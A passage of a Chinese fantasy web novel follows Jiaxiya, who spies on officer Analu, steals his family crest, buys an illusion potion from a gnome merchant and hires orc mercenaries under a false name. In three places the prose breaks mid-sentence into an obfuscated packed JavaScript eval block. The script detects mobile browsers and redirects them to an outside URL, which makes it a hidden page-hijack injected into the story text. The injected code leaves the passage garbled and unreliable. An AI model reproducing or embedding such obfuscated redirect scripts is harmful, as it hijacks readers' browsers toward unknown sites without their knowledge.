加茜娅也仿佛受庆典气氛的感染,起身扶着栏杆,在夜空中不断盛开的大片繁花幻影下双手合十地许愿。 晚风拂过,卷着她披肩的长发向后扬起,几乎要碰到阿纳鲁的胸口。加茜娅回头,万家灯火照亮她美丽如黑夜的眼睛,星星点点,粼光闪动。 阿纳鲁向前两步,抬手挽起拂过他脸颊的发丝。一切都不知不觉。 “我许了一个愿望。”加茜娅眨眨眼,“和你有关。” “什么愿望?”他下意识地问。 “保密。说出来就不灵了。”她一歪头,他手中拈着的头发滑落出去,“下面好像有限时的魔法集市,要不要去看看?” “人手太杂。”阿纳鲁转过身,抬起脚往屋里走,“况且也没什么稀奇货。你有兴趣,过两天我可以叫魔法商店的人,带着隐藏目录上门给你看看。” “隐藏目录?” “嗯。你家族没有吗?”他摸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14800421|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到桌上的烟盒,顺手拿起来放进风衣口袋。 “……没听家父提起过。我家里人都是保守派,不喜欢魔法。” “隐士家族,这样想也正常。魔法商店有隐藏的物品目录,每个家族拥有的权限不同。过几天,我如果有空,就来接你,给你挑礼物。” “不用,我知道你忙,还担心自己给你添乱呢。”加茜娅再次表现出关切的口吻,“我会尽力拿到能帮上你的数据。” “加茜娅。”阿纳鲁语气忽然严肃起来。“我一直没提这件事,因为这对你的位置来说太危险了。如果任何人拿出你泄露数据的证据,你会被判处终身监禁。” 他望向她。而加茜娅侧对着他,像任何一个贵族小姐那样,将两手交叠着放在裙子前,仪态优美地看着楼下庆典。两人都好一会儿没说话。 她仿佛很平静,但并不正面回应:“你知道,西高地山脉藏着什么吗?”她把声音放低,“是黑晶油矿,甚至还有伴生魔法石矿。” 黑晶油,目前发现的最高性能稀有燃料,能量输出是煤炭和蒸汽的两百倍以上。一旦大量曝光,必将引发政府、军队和各大家族的彻底疯狂,甚至可能推动一个新时代的来临。更不必提,在可用魔法元素日渐稀薄的当下,魔法石矿是多么诱人的能量资源。 “我测算了一组秘密数据,不过没有上报给资源署,也没有给我的家族。这些信息,你不拿,很快就会被泄露给莫伯斯。”加茜娅说。 阿纳鲁沉默了很长时间。 “加茜娅。”他双手插兜,靠在桌案边缘望向她,“你为什么这么做?” 为什么呢? 一阵寒意顺着她的脊梁骨爬上脑门。 “因为……”她没有再说那些用滥了的情话,而是走到年轻军官身前,将手轻轻搭在他不断起伏的胸膛上,凑近他的脸—— 在他的唇角印上一个樱桃酒味的冰凉柔软的吻。由于动作的果决迅速,所以赶在被用力推开前,就已离去。 阿纳鲁抖着手向后方的桌子一摸,摸到军官帽,拿起来戴在头上,又从口袋里摸出烟盒,这次差点没拿稳掉在地上。他想,自己是有些生气了,但其实没什么大不了,他又不是古板的人。 就在此时,办公室的门忽然被人叩响。阿纳鲁立马转身过去开门。 “我帮你把香薰挂上。”加茜娅用拇指抹一下嘴,笑着拿起桌上的香薰袋,往角落衣帽架走去。 阿纳鲁同门口的人低语一会儿,关上门对加茜娅说:“该走了。等我有空,我会再去找你。” “一定要注意自己的安全。”他在送加茜娅上车的时候,拉住她的手。 “你也是。”她顺势将脸颊贴在他的黑皮手套上,长睫毛如蝶翅般振颤,像是快要落下眼泪。 阿纳鲁又看了她一会儿,才放开。他站在原地目送司机将车开走,然后立即返身上楼。 回到办公室,他立刻反锁上门,一寸一寸地检查所有物品,从办公桌、壁炉、地毯下方、露台茶点,最后到角落里的沙发。 没有药物残留痕迹,没有魔法窃听设备,什么都没有……除了一阵淡雅的永夜兰香气。那也是他在舞会上遇到她时的香水味。 阿纳鲁走向沙发旁的衣帽架。他捞起挂在架上的精致香薰袋翻检一阵,也未发现任何异常。 莫名地松了口气。 他心里笑自己多疑,拿出一根烟,烟头的魔法符文自动感应燃烧起来。 阿纳鲁将烟叼在嘴里,视线扫过自己挂在架上的几件军装外套。 不对。 他伸手抽出其中一件:上面少了点什么。 少了蒙格马利家族的族徽。 人们往往对多出的东西更加敏感,却容易忽略丢失的琐碎物品。 “是加茜娅。”毫不意外的。他拿两根手指扣住烟,深吸几口,在缭绕的白气中走到办公桌前,用一只手“哗”地抖开那封情书。 信中的玫瑰花摔落在地毯上。 阿纳鲁坐进靠椅里,双腿搁在桌上。他花了仿佛一个世纪那么长的时间,读完那封字迹娟秀、言真意切的情书。 烟灰落在胸口,好像要把什么东西烧起来。 就像平时思忖排阵布兵一样,少将左手扶着额头,闭上眼。 又过了不知多久,他夹着香烟点燃情书一角,注视它像风中翩跹的裙摆一样摇曳燃起。 7.Chapter 7. 仗势 加茜娅从阿纳鲁办公室顺手牵羊地摸走族徽后,决定去中州边界处,游商出没的地方蹲点,拿蒙格马利家的特权碰碰运气。 她不是没考虑过被发现。但既有利益相连,阿纳鲁哪怕真的怀疑起什么,也不会在这时候向她表示介意。 加茜娅想得很清楚:他们两个彼此需要,是最危急关头结下的盟友。她始终相信,这种关系在特定时刻坚不可摧,远胜一切飘渺的男女情爱。 因此,她所表演的“爱”真不真,他信不信,都无伤大雅。反正只是一个虚妄的动机借口而已,使周围的眼线们相信就足够。而使他相信的好处,则微不足道,甚至容易为未来的逃脱埋下隐患。 现在这样,心知肚明地互相演着,就很好。 至于未来要面临的清算与报复,无论来自哪一派…… 那正是加茜娅此行要解决的问题! 她习惯未雨绸缪,决心提前给自己铺好退路,哪怕希望渺茫。一方面,是以非法手段获取易容伪装的短效药水——长效产生的魔纹波动太大,容易被发现;另一方面,则是留好无人知晓的容身之所,供她藏匿潜逃。一切的交易都需要更换身份,甚至特定身份才能办到。 加茜娅需要找到一名侏儒游商。 若她去街头寻常的魔法商店、集市,便只能购买日常用品,像什么多功能隔风伞、魔纹检测仪之类的。即使有隐藏菜单,也大都是合规商品,毕竟要定期接受魔法监管局检查,更要提防各方的恶性举报。 那帮神出鬼没的游商就不一样了。 孱弱而狡猾的侏儒老板们自发结盟、组建商会,合力培育出低智巨魔,以他们庞大的身体和不可小觑的力量来保护自己,并将家和商店以空中楼台、树笼等形式建在巨魔身上,配备重心调整器,稳定又安全。 他们穿行在联邦各州和新大陆之间,白天还在中州街道上吆喝,夜晚说不定就溜到某个秘密黑市交易点,甚至到另一片大陆去了,即便暗中兜售违禁品也很难被抓到。 况且,他们总是持有多个自治州的经营牌照,巧妙模糊了种种限制交易的法规,处于谁都难管的灰色地带。 加茜娅对游商的隐藏菜单很感兴趣,对这些天然的情报掮客所掌握的消息也心向往之。 根据对新闻八卦的长期分析,她基本确定了游商们的出行规律:他们往往在重大节庆日前后出现,喜欢选择交通不便但人口密集之地,如城市与乡村交界的偏远市场,或水道、森林边缘等缺少警卫监控的地方。 长夜祭后,她前往中州北郊的兽人聚居地,一片废弃水道旁的树林边上,蹲守了两个夜晚,果然等来一个过路游商。 夜色晦暗,林边的萤火却熠熠生辉。 深绿色巨魔庞大如山丘,缓慢移动着走来,地面随之一步一震。它的皮肤上覆盖着茂密青苔和嶙峋树根般的纹路,头颅低垂,獠牙外翻,长臂及地。 巨魔双肩和背上承载着传说中的移动魔法商店,那是由大小齿轮、彩色玻璃和魔法饰品组成的多层木质建筑,有着宽大的露天平台和摆满亮晶晶药水的落地飘窗。 加茜娅深吸口气,将雕刻着狮鹫和月桂花环的金徽章别在衣服上,向巨魔挥挥手。 “您好!”她喊道。 一名侏儒商贩从空中阁楼的窗口探出头,看见巨魔托起的掌心里站着一位年轻小姐,罩着低调的黑色长袍,戴半片式蝴蝶面具和蒙格马利家族族徽,两手在身前摊开,以示没拿武器——这是半个世纪以来逐渐流行的问候方式。 “稀奇!竟是蒙格马利家的贵客!我一直以为你们用独家的货源呢!” 侏儒巴尼尔·维兹里克裹着红袄坐到窗口上,挂着钻石细链的白胡须被风吹向两旁,像一只过分精致的小鸟张开双翅。他那高瘦的颧骨上是一对青蛙似的硕大黑眼珠,此时灵巧地上下翻动,盯着加茜娅不住打量。 “尊贵的小姐,良心商人巴尼尔很荣幸为您服务!请上来吧!”他举着拐杖敲击窗框,发出咚咚的沉闷响声。 加茜娅顺着巨魔抬高的手掌走到木头平台上,那里有露天的沙发和茶几。她提起裙摆坐下,面前的茶壶自动提起,为她倒上一杯冒暖气的热水果茶。 “恕我冒昧。”巴尼尔的目光粘在她佩戴的族徽上,“在中州见到这徽章的机会,可比在新大陆原始森林里找到黑晶油矿还要难许多呢。” 加茜娅没有立刻答话,只是端起茶杯,慢悠悠地靠在沙发背上,两腿交叠摆放,微笑着瞥他一眼,随后嘬起唇尖抿了口茶水。 小小的巴尼尔从怀里掏出一块更小的金镜,细致打理起自己的胡须,又似是在用镜子的反光捕捉她的微表情。 “嗯,看得出来,您是个不爱浪费时间的人。那么,我也就直讲了。”他将镜子“啪”地一声收起,“既然是蒙格马利家的客人,不妨透露一点:您是为家族某位军功显赫的将领跑腿,还是——”他停顿了一下,嘴角微扬,“为另一位擅长外交的年轻绅士传话?” 他的试探滴水不漏:只抛出蒙格马利家族的两位关键人物作为诱饵,并试图通过加茜娅的反应确定她与家族内部的关系。 加茜娅垂下睫毛,将所有思绪敛收在内。 这个不知是老是小的家伙,拥有锲而不舍的好奇心!她想着。这倒也是个确认情报和布下障眼法的机会。 “您知道的,就是那种……香料,很不好搞。”她放低声音。 “噢!”侏儒惊叫一声,也压低声音,“这玩意稀贵,没法从我手上走,您找错地方哩!那位绅士没说吗?况且……平时也不是他接手吧?” 加茜娅咽了口唾沫,忍住反胃。好在,面对口风如此之严的侏儒游商,她已经确认了部分信息,并将自己的阵营假托于莫伯斯。别说游商行踪不定、难以缉查,今后即便被问,也多一道保险。 她接着问:“那位大人只想知道,您这里有没有什么新奇货?” “原来如此,是派这个用途啊。”巴尼尔长吁口气,掀开外套,露出里面鼓鼓囊囊的口袋。 他从其中某个口袋里抽出一叠粗糙的矿物纸,恭敬地双手递出:“您需要的或许都在这上面!” 加茜娅接过一看,货物目录里写的都是情趣方面的魔法道具。 “没有其它种类了吗?”她有些失望。 “其他的……都预订完了,小姐。”巴尼尔掀起点眼皮,继续打量加茜娅。 加茜娅正欲说话,忽然盯着目录里的一行字“临时变性药水”,惊讶地张开嘴:“这是?” 巴尼尔徐徐地转动眼珠:“小姐,现在有些贵人就爱在床上玩这种!听他们讲,虽然只是障眼法,却也刺激呢!” “……”加茜娅沉默半晌,又问,“大概能持续多久?” “这个嘛。”巴尼尔拈一下胡子,“量大,自然就久一点!当然,多买些也会便宜点,童叟无欺。” “多少钱?” 巴尼尔伸出五根手指。 “五千晶币一瓶?” 巴尼尔摇摇头,几乎要嗤笑出声:“您要知道,这货在元老院都很抢手啊!” 加茜娅冷下脸:“那位大人并没有给太多经费。但您得罪他并不是好事。” “可我明天就要去其它州咯!” “你总得来中州。”这里顾客最集中,也最有钱。 巴尼尔愁眉苦脸地看向她,似是无奈地妥协道:“好吧好吧,要是能带走两瓶以上的话,就给你八千一瓶!我可是降了不少啊!” 加茜娅站起身,向平台出口的楼梯走去。 “唉!好好,五千一瓶!”巴尼尔捶胸顿足,“没想到, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804981|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那般矜贵的绅士居然爱玩这种花样!” 加茜娅转过头,哼笑一声:“我劝你守口如瓶,良心商人。” 她怎能不知道,那不标价格的目录单就是为了随地开价?那手势,价格五百、五千还是五万,亦或者五瓶合卖,无人知晓。 但这位游商太过狡猾,似乎已经察觉到什么,她担心说多错多,漏了身份,不如速战速决,吃个闷亏,只要拿到有用的东西就好。 加茜娅多虑,但绝不在关键时刻拖泥带水。 侏儒拍拍手,他豢养的小妖精们很快就将装满紫色玻璃瓶的木匣抬了出来。 “多少都任您决定!每瓶的功效四十分钟,小姐。”巴尼尔笑得合不拢嘴。 加茜娅最终只带走了一瓶临时变性药水。她还要把钱花在其它重要的地方。 虽然没买到最初设想的易容道具,但更换性别也有类似效果,她并不苛求形式。毕竟,这类货品处于魔法监管局严禁交易的清单上,能凭借蒙格马利家族徽买到已是很不容易。 惺惺作态地同这名黑心游商告了别,加茜娅躲在树林阴影里喝下三分之一的药水。无色无香。借助微弱的月光,她在玻璃瓶上看到自己面具外的面容拉长、嘴唇变得宽而薄,但伸手触摸时仍无变化。原来只是障眼的幻象魔法。 轻轻咳嗽两声——还好,声音也受幻象魔法掩饰,变成低哑的青年男音。 她摘下面具放入挎包中,并给自己定下十分钟的限制,循着不远处的人声快速摸索着,走小路靠近一处烟火缭绕的兽人夜市。 此地毗邻兽人族领土格雷默尔州平原,与高山矮人群居的萨文岭要塞只有一河之隔,运来的货物多为珍稀木材、草药、小型魔兽和魔法矿石,既是南来北往商客聚集地,也是兽人雇佣兵们的补给据点。 越是夜深,越是热闹。许多昼伏夜出的兽人只在凌晨时分出没。 因原址是一处废弃工业污染林区,故而道路泥泞,不算好走,加茜娅深一脚浅一脚地加快速度。 夜市两旁铺设粗布垫或木板推车摊位,四周架着篝火,罐子里咕嘟嘟地熬煮着魔法草药浓汤,大型铁锅中则热油翻滚,布满鳞片的魔兽腿肉在白花花的油泡里鼓动,噼啪作响,腥气四溢。 一些笼子里关着吼叫扑腾的魔兽幼崽,地摊和车筐里摆满琳琅满目的货品,异兽犄角、精铁矿石、还有低阶的附魔装备。角斗台、□□摊人满为患。不知何处传来骨锤鼓和粗管风笛演奏的兽人歌谣《荒原猎神》,各色罩在长袍里的高矮影子交叉擦过,火光之下幢幢摇晃,声音鼎沸。 加茜娅戴着兜帽垂下头,挤在杂乱人流间,尽量低调地走过众多摊贩。 她平时待在中州核心区域,很少见到原始气息如此浓厚的集市,反倒更习惯蒸汽与机械轰鸣声,几乎忘却了这个融合过魔法位面的新世界有多么奇异广大,安全区外又是多么危机四伏。 想到独自谋划的险局,她强迫自己压下不安与惶惑;而想到未知的前程,她一时又觉天地辽阔,总该抱有更远的希望。 她走到一处简陋的矮棚,停下脚步。 矮棚用粗糙的拼接兽皮和简易木桩搭建,在一圈火炬照射下映出暗黄的油光,角落里有一块木牌,潦草而随意地画着荒原雇佣兵的虎头标志。 棚内杂七杂八地放着长柄战锤、弯刀和猎枪,几名高壮如小山的兽人围坐在一张木桌旁,大口撕扯肉块,手里提着瓦罐,仰头饮下滋味腥鲜的骨汤酒。酒水顺着胡须淋漓淌下。他们肌肉虬结而毛发旺盛的手臂猛捶在桌面上,爆发出粗哑的大笑。 因说的都是些拗口的兽人语,加茜娅完全听不懂。 酒味、蒜味、烤肉香料气裹挟着浓厚的野兽体味扑面而来。她站在棚外定了定神,想起流逝的时间,便立刻将兜帽拉低一些,迈步走进去。 8.Chapter 8. 极限谈判 “我听说——”她拔高了声,并且为了不破音,刻意粗着嗓子说话,“你们是排名最高的雇佣兵团?” 兽人纷纷回头看去。一时间,花花绿绿的瞳孔缩成点线,俱机警地盯向生面孔。他们打量着这名身材瘦削、长相不男不女的家伙,知道来了生意,便由一名生着豹耳的中年兽人站起来,用不甚熟练的通用语问话: “我是卡鲁克·铁牙,领队不在,这个据点是我代管。阁下什么事?” “埃尔维斯·蒙特克莱尔。”加茜娅高昂着头,朗声介绍道,“代我的老板而来!” 豹耳兽人接过递来的名片,只见那张精致小巧的米黄卡纸上,拿金橘色防窥墨水写着几行字,每个字母都勾着花里胡哨的翘角: 埃尔维斯·蒙特克莱尔——蒙格马利商会代表助理,中州坎贝尔大街81号。电报代码:EL-MC1X。 “我的老板想要做一些商业考察,但眼下各处事务繁杂,人手不足。所以派我来进行交涉,看看以后是否有长期合作的可能。” 加茜娅不等对方邀请,自顾自地走到桌前,在一众魁梧的兽人之间拉开椅子坐下,两手交握地支在桌上。 或许是被她长驱直入的架势唬住,又或许是忌惮她袍子上别着的蒙格马利家族徽章,在场兽人一时都望向卡鲁克,似在等他的态度。 像蒙格马利这种大家族,往往精养着不少私人保镖,将外面的雇佣兵队伍统称为“杂牌货”。双方从不合作,可谓互相都瞧不上。 但大家对近期家族的继承权内斗都有所耳闻。想来,其中哪位少爷想使些新手段也是可能的。至于这个突然冒出来的蒙格马利商会助理……商人么,时间就是金钱,说话稍急一些,似也情有可原。 他们永远想不到,竟有人敢堂而皇之地冒充贵族身份,假传商会合作。 加茜娅感到自己的掌心微微出汗。可她毕竟是习惯说谎的人,动作如常地低下头,从挎包里取出一沓文件,铺开在桌上。 而就在卡鲁克准备发话的同时,一名红发狮耳的年轻兽人突然“哐”地丢开啃了一半的骨头,咧嘴冷笑起来。 那粘连着血肉的骨头带着湿漉漉的油痕,咕噜着擦过木桌边角,正好挨着加茜娅的衣服,掉在她所坐位置旁的地面上,接着又如有灵性般地滚到她脚边,俏皮地撞她一下。 加茜娅不动声色,紧盯着他,大脑飞速运转。 “喂,娘炮!”他用通用语喊道,带着点调侃意味,“蒙格马利家的跑腿啊?怎么就你一个人来了?难道你们那些高贵的少爷主子,不敢自己来和我们这群‘杂牌货’打交道?” 其他兽人非常捧场地发出笑声,气氛略微松快。卡鲁克没有阻止对方发言。显然,他也在暗中观察加茜娅的反应。 加茜娅保持着不卑不亢的姿态:“蒙格马利家的少爷们当然有他们的事务需要处理。而我,就是被派来处理对外合作的。这位朋友,我听说兽人重视平等、讲究好客和义气?现在看来,传闻并不真实。” 年轻兽人愣住一瞬,嘴角的笑意扩大:“好吧,你有点意思。不过你戴着蒙格马利的族徽,却说自己是蒙特克莱尔?我怎么没听过人类有这么个姓氏?” “我的家族从属于蒙格马利氏,负责机要重任,当然不能出现在大众能听到的名单上。这正是老板的聪明之处——聪明的雇主不会把所有牌都摊在桌面上,聪明的合作伙伴也不会追问太多不相干的事情。对吧?” 她吐字柔缓,可句句都不落下风。 年轻兽人挑了挑眉:“行,你有道理!蒙格马利派的人嘛,总是巧舌如簧!我们不是什么任务都接的,但愿你的‘聪明’,不会让你今天白跑一场。” 棚内安静片刻。加茜娅目光扫过几名兽人,最终回落在卡鲁克身上。 “先说好,我们不接安全区内的任务。至于其它地方,那就要考虑出价了。”卡鲁克·铁牙默许了这场交易,提前声明道。 加茜娅立刻回复:“放心,蒙格马利家族从不亏待朋友。” 这话出来,在场兽人都缓了脸色。加茜娅观察到这一点,暗想:果然,比起利益,他们明面上更在乎所谓“面子”和“情谊”。这更好办。 “我的老板想要在伊瑟尔州边境做点生意,先建两家旅馆做中转站。这就需要你们去当地考察从业环境。请带着我的名片,替我们同当地工会洽谈投资建设事宜。钱款和经营执照的事,过几天我会发电报告诉你们方案。” 伊瑟尔州,源自古老的伊瑟尔兽人部落方言,意为“裂隙之地”,因边境地区的地理层断裂和多族混居的局势而得名。此地远在九千英里外,与西北部新大陆接壤,驻扎着联邦最精锐的狮鹫兵团,并布有周密的安防措施。 而她之所以有此“投资旅馆”的举措,正是为自己今后万一用得上的退路做准备: 倘或某天,她能提前察觉到身份的暴露和牢狱之灾,或许仍可能凭着数张假名片,且行且骗地流浪。届时是突破边防逃往新大陆,还是在联邦各州另谋出路,现在无法决定。 至于“钱款”和“经营牌照”?等她算好日子把数据交给阿纳鲁时,会以加入采矿投资为名提前支取利润、索要开公司的牌照——或是买卖牌照的官员关系。以数据情报为交换,想必他会同意。 ……要是不行,就想想办法要点贵重礼物!最后总能解决,无非曲折一些。 “伊瑟尔州,那地方很不安全。”有兽人提出顾虑,或者说,要价的筹码。 加茜娅转回思绪,将桌面上的文件逐一摊开:“我们珍惜且信任朋友。为了尽力保障安全,这几份边境地图和魔法屏障布局,我们无偿分享给执行任务的雇佣兵。愿荒原猎神保佑大家。” 实际上,那是加茜娅通过米拉在资源署的高级权限,从中央系统偷偷调取、拓印记录下的绝密数据。无所谓,反正她的罪行也不差这条。她借着这些数据,提前分析了潜逃过程中的关键节点,分别做下可能有效的安排。 加茜娅微笑着看向沉思中的卡鲁克,明白对方早已动心。 她接着引导:“如果这次合作愉快的话,我们老板还有后续的委托想法。当然,要是你们愿意帮助当地的伊瑟尔部落兽人改善商业条件,也非常欢迎加入投资。我们愿意承担一切风险。” 加茜娅不怕蒙格马利家反应过来——在谎言陆续揭穿前,一切都会运行得井井有条。她计算好了大致的时间差,虽然有些极限,但只要有半数步骤成功,便足矣让所有人慢自己一步。 噢!变性药水快失效了……她忽然想起这事。 “我们的商业对手速度很快,请你们抓紧时间。如果被他们抢占先机,我家老板恐怕会不高兴,那我们就没法接着合作了。现在,请开个价吧!” 多少钱都行,空头支票嘛。 卡鲁克显然是个经验丰富的雇佣兵代理,并且也不像侏儒游商那般奸猾,很直接地给出价格:“二十万晶币,提前付五万定金,必须是现金。一个月后完成任务,再付余款。”他随即又补充道,“如果失败,定金不会退还。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14816059|158378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 现金?加茜娅一摊手:“显然,我并没有带那么多钱。” 她将蒙格马利家族的族徽摘下来,放在桌上:“我先将它抵押在此,三天之后带现金来赎——情况紧急,请先将任务派下去吧!” 卡鲁克抱着双臂,沉默地看着加茜娅。 “你担心我不来取走吗?要是被老板发现没戴族徽,我会被解雇的!这次实在是来得匆忙,也怪我刚上手,经验不足,所以只带了支票。” “请使用任何元素驱动这枚族徽内部的核心晶石,看它回应的魔纹波动,以验真假。只不过,这会留下您的魔纹踪迹。”她再次补充。 卡鲁克收下徽章,盯着加茜娅的眼睛看了一会儿。加茜娅心中虽急,却也定定地报以回视。 他终于摇摇头:“不必了。既然蒙格马利愿以‘朋友’相称相待,这份情谊就值得尊重。” 加茜娅站起身,假作激动,呼吸急促:“虽然此刻不能透露老板身份——你们都懂现在的局面,但我想,他会在事成之后,亲自前来感谢诸位兄弟!” 她回忆着曾经在教科书上学过的兽人礼仪,走到几名兽人跟前,抬起手腕与他们相互碰触,象征地位平等、没有武器隐藏。 他们也站起来,弯下高大的身子同加茜娅行礼。 这便又是一事了结。 加茜娅在走出矮棚时长出一口气,拿起玻璃瓶观察倒影:她的脸部正好开始变化,由阴柔的男相变回自己的本来面容。 加茜娅放回瓶子,重新戴好面具。 同时,她也恍惚察觉出背上寒凉的汗渍。天气愈冷,而出过汗的皮肤愈发开始失温。鞋子里如塞着两块冰,手脚俱已冻得麻木。 自救的措施暂且告一段落,现在要做的就是尽可能全面地查探交易参与者名单,并在自己丧失权力之前做好布局,使他们在未来持续地获得报应。 莫伯斯·蒙格马利——这是第一个要报复的人。 加茜娅一边拖动着失去触觉的腿脚往电车站走,一边清理脑海中杂乱交织的线索。几个小时后还要去资源署,继续面临新的勾心斗角。 她的头脑仍很清醒。这得益于她管控身体的战略之一——需要睡觉就吃安眠药,该办事时就服用兴奋剂。若非如此细致地规划精力,她绝不能在短时间内做这么多事。至于弊端,后遗症,她暂且无暇考虑。 有些时候,夜深人静的时候,她会忽然反应过来,内心滋生出细如针尖的幽暗的委屈和疼痛。随即,本能地意识到这种行为的危险性,切断无益情绪,强行服药睡去。她习惯了麻痹自我,也享受着因此获得成功的快感。 时间来到后半夜,天空中密密麻麻地飘起细雪。 雪花落在她的帽子、衣服上,睫毛上,要不是融化成水后流进眼中会引起涩痛、模糊视线,她甚至懒得抬手擦拭。 兽人夜市临近打烊,客流渐稀。零星几个醉醺醺的大汉,搀扶着露天桌椅,搬起它们四处踢踏乱走。有人一头撞到摊位推车上,靠着它滑坐下,鼾声渐起。 加茜娅加快脚步,灵活避开他们。饥寒交加中,她眼前发黑,差点跌倒。不远处甜品铺子的香气,就在这个时候迎面撞来。 早餐糕点已在筹备当中,黄油、炼乳、糖粉的温暖味道渗进她半堵的鼻腔,一路向下攥住她的胃,含情带笑地一捏。 加茜娅摸着口袋里的零钱,犹豫地看向甜品铺。 她看到一个戴黑色兜帽的挺拔身影站在铺前,伸出手,对每个堆满点心的篮筐都指了指。 9.Chapter 9. 游侠 那家伙最后抬起两只手掌,往中间一合,意思是全部打包,颇有盘下整家甜品铺的气概。 就在老板笑得合不拢嘴、连连抽出一沓纸袋时,他正好侧过半边脸去掏衣服口袋里的钱。几绺银色发丝被风吹起,露出灰褐的皮肤、挺直的鼻梁和尖长的耳朵。 是暗精灵吗?不,加茜娅很快否认了这一点,因为她认出了对方的身份。 拉斐尔,一个种族界限模糊的精灵。 准确来讲,拉斐尔是暗精灵和白精灵的混血,传闻中同时受两边群体排斥的“第三者”。他有一个纯血统的白精灵哥哥,也就是北区慈善诊所的志愿医生洛瑟,加茜娅曾定期找他开安眠药。 有那么一次,她推开诊所门的时候,看到了这位翘着脚坐在桌上的混血精灵。他大概是刚打完架,浑身挂彩,骂骂咧咧地同正在坐诊的洛瑟抱怨。加茜娅从来不知道,优雅圆柔的精灵语也能如此粗鲁的方式爆发出来。 打那以后,她又在诊所巧遇他几回,回回必遭他的搭讪。 听洛瑟说,拉斐尔目前是一名职业游侠。可是在加茜娅心里,所谓游侠,即指游手好闲而自称行侠仗义的混子,因恰好对现实怀抱满腔愤懑,所以无论做什么,都能显得正义凛然。 她从来,就没打算和他混熟。此时此地不期而遇,更是暗叹一声麻烦。 好在她现在戴着面具,只要不和他对视,就很难被发现。 加茜娅这般想着,拘谨着身子缩在长袍里,远远地站在一旁等候。 谁料,那游手好闲的混子接过甜品纸袋,竟就站在路边,迎着呼呼的风雪大吃大嚼起来,一边吃还一边东张西望。目光触及加茜娅时,他咀嚼的动作变得缓慢下来,举着半块巧克力饼干定住不动。 有时候,仅凭身形气质,也能识别熟人。 他敏锐地认出了加茜娅。 “加茜娅?”拉斐尔试探着问了一句。 她本能地想转过身子,可也瞬间意识到此举等同于应答。就在她停顿的刹那,一只手搭上她肩膀。 “这个点了,你怎么一个人跑出来?还戴个花面具?” 加茜娅没有答话。而他早就习惯了她的沉默,自己一连串地说下去: “我去找过你,但你早就搬家了,对吗?现在住那儿的是个秃顶老头。” “报纸上说,你成了蒙格马利家的情妇了?真厉害啊!” “喂!你就不想知道,洛瑟看了那条新闻之后是什么反应吗?” 拉斐尔闪身到她面前,弯下腰想捕捉她的眼睛。他修长的身影遮住光线,黑袍之下,腰间别着一把两用弩匕,寒光凛冽。 她本不想理这家伙,但那武器的出现却令她忽然有了联想:暗精灵,军火。 ——方才断开的思路,就在这一瞬有了新的衔接。 加茜娅扬起脸,冲他一笑:“比起洛瑟,我其实更在意你的反应。” 她此刻离他很近,呼出的白气尽数喷到他脸颊上。他浅色瞳孔外围的一圈细纹扩张开去,如同风过湖面,涟漪翻涌。 “……哈?”拉斐尔愣神一瞬,不自觉地后退半步,与此同时扯了下嘴角,不知是想笑什么。 加茜娅选择主动出击:“你不觉得,现在的记者太喜欢捕风捉影了吗?连军部和资源署的正常合作都要造谣。” 拉斐尔犹豫着开口:“可是,谈合作也不必接二连三地去剧院和咖啡厅吧?” “有时候,联络感情是为了托关系。”她眨眨眼,“你有看到任何一张照片上牵过手吗?还是都从刁钻角度借位拍摄?” “那倒确实。”拉斐尔若有所思地点点头。 加茜娅指指他怀里抱着的一堆甜品:“我可以拿一个吗?好饿。” 拉斐尔脑子里还在回忆那些“捕风捉影”的照片,因此很自然地递过纸袋让她拿,甚至没像平时一样说些调侃的话。 加茜娅刚把一枚金黄喷香的鸡蛋糕塞进嘴,就感到胃部痉挛了一下,有如长出千百只手,向上撕扯,疯狂地索取更多。 “很好吃。下次我也请你吧,就这个周末怎么样?”她压制着突袭而来的饥饿感,仿佛无意间提起。 拉斐尔回过神,诧异道:“你居然……要邀请我?” “怎么,不行啊?” “我一直以为你讨厌我!所以总不理我!”他很直白地,脱口而出。 加茜娅“噗嗤”笑了出来:“逗你玩,你还上头了?” “真的吗?”他半信半疑,但总算没再缠着她说阿纳鲁的事。 “千真万确。”加茜娅扯起谎来毫不脸红。 她同拉斐尔寒暄了几句,得知他来此地是给一位兽人剑士送修理好的武器。她没说自己来干什么,恰巧他也忘了问。 “你还会做这个?厉害!看不出来。”加茜娅垂下眼,收起万千思绪。 “不是我,是……你知道的,暗精灵地下城有一批很优秀的工匠,我没事的时候就帮他们跑跑腿,联络客人,挣点外快。” “原来如此。”她淡淡地回复着,心里已经想好,下回见面该怎么骗他带她过去,打听消息。这次先不必说,否则显得太刻意,况且,理由也不够充分。 拉斐尔自认为和加茜娅“解除了误会”,此时显得兴致颇高。 